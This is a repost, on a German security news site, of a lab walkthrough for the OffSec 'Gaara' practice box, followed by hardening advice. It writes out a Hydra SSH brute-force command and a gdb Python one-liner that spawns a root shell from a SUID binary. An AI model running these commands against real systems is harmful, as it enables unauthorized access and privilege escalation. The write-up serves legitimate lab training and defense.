Zum Hauptinhalt springen
tsecurity.de LIVE
Echtzeit-Radar & Feeds
Alle RSS Feeds
👥 Community & Social
Unix & Linux ServerSecurity: Mangelnde Eingabeprüfung in perl-Authen-SASL (SUSE)(23.09.2026 um 00:02 Uhr)
Unix & Linux ServerSecurity: Mangelnde Rechteprüfung in Sudo (Ubuntu)(23.09.2026 um 00:02 Uhr)
Sichere ProgrammierungAutomating Bug Reports with Tally and Make(22.09.2026 um 22:44 Uhr)
Sichere ProgrammierungHTB - Forest(22.09.2026 um 22:49 Uhr)
Sichere ProgrammierungYour Ports Are Lying About Your Business(22.09.2026 um 22:52 Uhr)
Sichere ProgrammierungOLTP vs. OLAP: Understanding the Foundation of Modern Data Systems(22.09.2026 um 22:54 Uhr)
Unix & Linux ServerSecurity: Mangelnde Eingabeprüfung in perl-Authen-SASL (SUSE)(23.09.2026 um 00:02 Uhr)
Unix & Linux ServerSecurity: Mangelnde Rechteprüfung in Sudo (Ubuntu)(23.09.2026 um 00:02 Uhr)
Sichere ProgrammierungAutomating Bug Reports with Tally and Make(22.09.2026 um 22:44 Uhr)
Sichere ProgrammierungHTB - Forest(22.09.2026 um 22:49 Uhr)
Sichere ProgrammierungYour Ports Are Lying About Your Business(22.09.2026 um 22:52 Uhr)
Sichere ProgrammierungOLTP vs. OLAP: Understanding the Foundation of Modern Data Systems(22.09.2026 um 22:54 Uhr)
Intelligence View
⚡ tsecurity.de Intelligence

Gaara — SSH Brute Force + SUID gdb Shell Escape | OffSec PG Play

Gaara is a box that starts simply and ends the same way. There is only SSH and HTTP exposed, and the web server has nothing useful on it — just a single image. The way in is a brute force on SSH using rockyou.txt, which pops the gaara user …

0
↗ Quelle (infosecwriteups.com)
Reagiere als Erste:r — dein Feedback zählt!

Gaara is a box that starts simply and ends the same way. There is only SSH and HTTP exposed, and the web server has nothing useful on it — just a single image. The way in is a brute force on SSH using rockyou.txt, which pops the gaara user in a reasonable time. Once inside, a SUID scan turns up something that does not belong: gdb. The GNU debugger with a SUID root bit set is an immediate game over. One GDB Python one-liner later, and the effective UID flips to root. Nothing exotic, just a weak password and a dangerous misconfiguration sitting right out in the open.

Attack Path: SSH brute force (gaara) → SUID gdb GTFObins (root)

Platform: OffSec Proving Grounds Play
Machine: Gaara
Difficulty: Easy
OS: Linux (Debian)
Date: 2026–03–24

Table of Contents

1. Reconnaissance
1.1 Nmap Port Scan
1.2 Web Enumeration
2. Initial Access — SSH Brute Force
3. Privilege Escalation — SUID gdb (GTFObins)
4. Proof of Compromise
5. Vulnerability Summary
6. Defense & Mitigation
6.1 Weak SSH Password
6.2 SUID Bit on gdb

1. Reconnaissance

1.1 Nmap Port Scan

nmap -Pn -A -p- --open <TARGET_IP>

Results:

Port    State  Service  Version
------ ----- ------- -----------------------------------
22/tcp open SSH OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp open HTTP Apache httpd 2.4.38 (Debian)

Two ports. The HTTP title came back as “Gaara” — clearly a themed box. Nothing else stood out from the scan. With a minimal surface like this, the web server was worth a quick look before moving to more aggressive approaches.

1.2 Web Enumeration

curl http://<TARGET_IP>

Output:

<html>
<title>Gaara</title>
<img src="gaara.jpg" alt="wallpaper" width="100%" height="100%">
</html>

That is the entire page. A single image, no links, no forms, no parameters, no hidden paths worth pursuing. Directory enumeration found nothing interesting either. The web server is a dead end. The only real attack surface here is SSH, and with a known username from the machine’s theme — gaara — brute force is the logical next step.

2. Initial Access — SSH Brute Force

With no other way in, Hydra was pointed at SSH using gaara as the username and rockyou.txt as the wordlist:

hydra -l gaara -P /usr/share/wordlists/rockyou.txt ssh://<TARGET_IP> -t 4

Result:

[22][ssh] host: <TARGET_IP>   login: gaara   password: <redacted>
1 of 1 target successfully completed, 1 valid password found

Password found: <redacted>. Logged in over SSH:

ssh gaara@<TARGET_IP>
# Password: <redacted>

Shell obtained as gaara.

3. Privilege Escalation — SUID gdb (GTFObins)

First check after landing — SUID binaries:

find / -perm -u=s -type f 2>/dev/null

Output (notable entries):

/usr/bin/gdb
/usr/bin/sudo
/usr/bin/su
/usr/bin/passwd
...

/usr/bin/gdb with the SUID bit set. GDB — the GNU Debugger — has no business being SUID root. This is a well-known GTFObins entry: GDB can execute arbitrary Python code at startup, and since it is running with root's effective UID, any shell spawned inherits that privilege.

gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

Output:

GNU gdb (Debian 8.2.1-2+b3) 8.2.1
...
# id
uid=1001(gaara) gid=1001(gaara) euid=0(root) egid=0(root) groups=0(root),1001(gaara)

euid=0 — root's effective UID. The -p flag on sh preserves the elevated effective UID rather than dropping it. Root shell obtained.

4. Proof of Compromise

# id
uid=1001(gaara) gid=1001(gaara) euid=0(root) egid=0(root) groups=0(root),1001(gaara)

5. Vulnerability Summary

#   Vulnerability              Severity  Impact
-- ------------------------- -------- -----------------------------------------------
1 Weak SSH password High SSH brute force gives initial user access
2 SUID bit set on /usr/bin/gdb High Local privilege escalation to root via GTFObins

6. Defense & Mitigation

6.1 Weak SSH Password

Root Cause: The gaara account was protected by a password that appeared in the rockyou.txt wordlist — one of the most commonly used password lists in existence. Any attacker with network access to port 22 and a username could have found it.

Mitigations:

  • Disable SSH password authentication entirely. Set PasswordAuthentication no in /etc/ssh/sshd_config and use key-based authentication only. This eliminates brute force attacks against SSH.
  • Enforce strong password policies. If passwords are required, use pam_pwquality a policy to mandate minimum length and complexity. A password like iloveyou2 this would fail any reasonable policy.
  • Implement login rate limiting. Tools like fail2ban can detect and block IPs that are generating repeated failed SSH login attempts, slowing down or stopping brute force attacks. Configure it to ban after a small number of failures with an exponential backoff.
  • Change the SSH port. Moving SSH off port 22 does not stop a determined attacker, but it eliminates the vast majority of automated scanning noise and reduces exposure significantly.
  • Restrict SSH access by IP. If the set of machines that need SSH access is known, use AllowUsers directives or firewall rules to restrict which IPs can even reach port 22.

6.2 SUID Bit on gdb

Root Cause: The SUID bit was set on /usr/bin/gdb, meaning any user who executed it would do so with root's effective UID. GDB is a debugger with rich scripting capabilities — it can execute Python, run shell commands, and call arbitrary system functions. SUID on a tool this powerful is equivalent to giving every user passwordless root access.

Mitigations:

  • Remove the SUID bit immediately. chmod u-s /usr/bin/gdb — There is no legitimate operational reason for a debugger to run as root via SUID. If root-level debugging is needed, it should be done through sudo with explicit logging and a specific user allowlist.
  • Audit all SUID binaries regularly. Run find / -perm -u=s -type f 2>/dev/null as part of any system hardening process or scheduled security audit. Anything on that list that is not a standard system utility should be investigated immediately.
  • Check GTFObins before granting elevated permissions. GTFObins documents dozens of binaries that can be abused when run with elevated privileges. Before setting SUID on any binary, or allowing it via sudo, check if it appears there. GDB is listed explicitly.
  • Use AppArmor or SELinux profiles. Mandatory access control frameworks can restrict what a SUID binary can actually do, even if the bit is mistakenly set, limiting the blast radius of a misconfiguration like this.
  • Principle of least privilege. Developers and users who need gdb for debugging should not require root — they should be debugging their own processes. If kernel or system-level debugging is genuinely needed, structure access should be through controlled mechanisms rather than a blanket SUID flag.

OffSec PG Play — for educational purposes only.


Gaara — SSH Brute Force + SUID gdb Shell Escape | OffSec PG Play was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Ähnliche Beiträge
🔍 Verwandte News

Auch interessante Nachrichten Gaara — SSH Brute Force + SUID gdb Shell Escape | OffSec PG Play

Thematisch verwandte Begriffe: Gaara, Brute, Force, SUID · 6 Treffer

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Zum Aktualisieren ziehen
ZERO-DAY CVE-2026-82000 | Adobe Experience Manager Forms JEE is affected by a Server-Side Request …
Advisory →
TTS Reader • tsecurity.de Voice
tsecurity.de Icon
tsecurity.de App
Offline-Lesen, Eilmeldungen & 0ms Ladezeit

Installiere tsecurity.de direkt auf deinen Home-Bildschirm für das ultimative Vollbild-Magazinerlebnis ohne Browser-Leisten.

Nächster Beitrag
Themen-Radar & Intelligence Matrix
Echtzeit-Taxonomie nach Angriffsvektoren & Plattformen

tsecurity.de Live Threat Radar

🔴 LIVE RADAR
MONITORING
AKTIV
CVE-DATENBANK
LIVE
🔍
Community Radar & Live Chat
Sentinel Bot online • Live-Stream
Dein Cluster: Security Explorer
Match:
lädt…
Verbindung zum Community-Stream wird aufgebaut...
Bearbeitungsmodus — Senden überschreibt deine Nachricht
Community-Puls — was gerade passiert
lädt…
Aktivitäten deiner Analysten
lädt…
Neues Thema oder Eilmeldung einreichen

Reiche interessante Links, Zero-Days oder Debatten ein. Die Community entscheidet per Upvote über die Veröffentlichung.

Heiß diskutierte Einreichungen
🔖 Gespeicherte Artikel
📂 Keine gespeicherten Artikel vorhanden.
Zurück Ziehen Vor
Links: vorheriger Artikel Rechts: nächster Artikel unten: schließen
News NIS-2 Frühwarnung Tier-1 Intel ⏱️ 3 Min vor 10 Min
Artikeldaten werden geladen...

Zurück: vorheriger Vor: nächster
↗ Original-Quelle
Social Reaktionen Deine Reaktion zählt
Einstufung & Relevanz-Poll 0 Stimmen
In sozialen Netzwerken teilen 1-Klick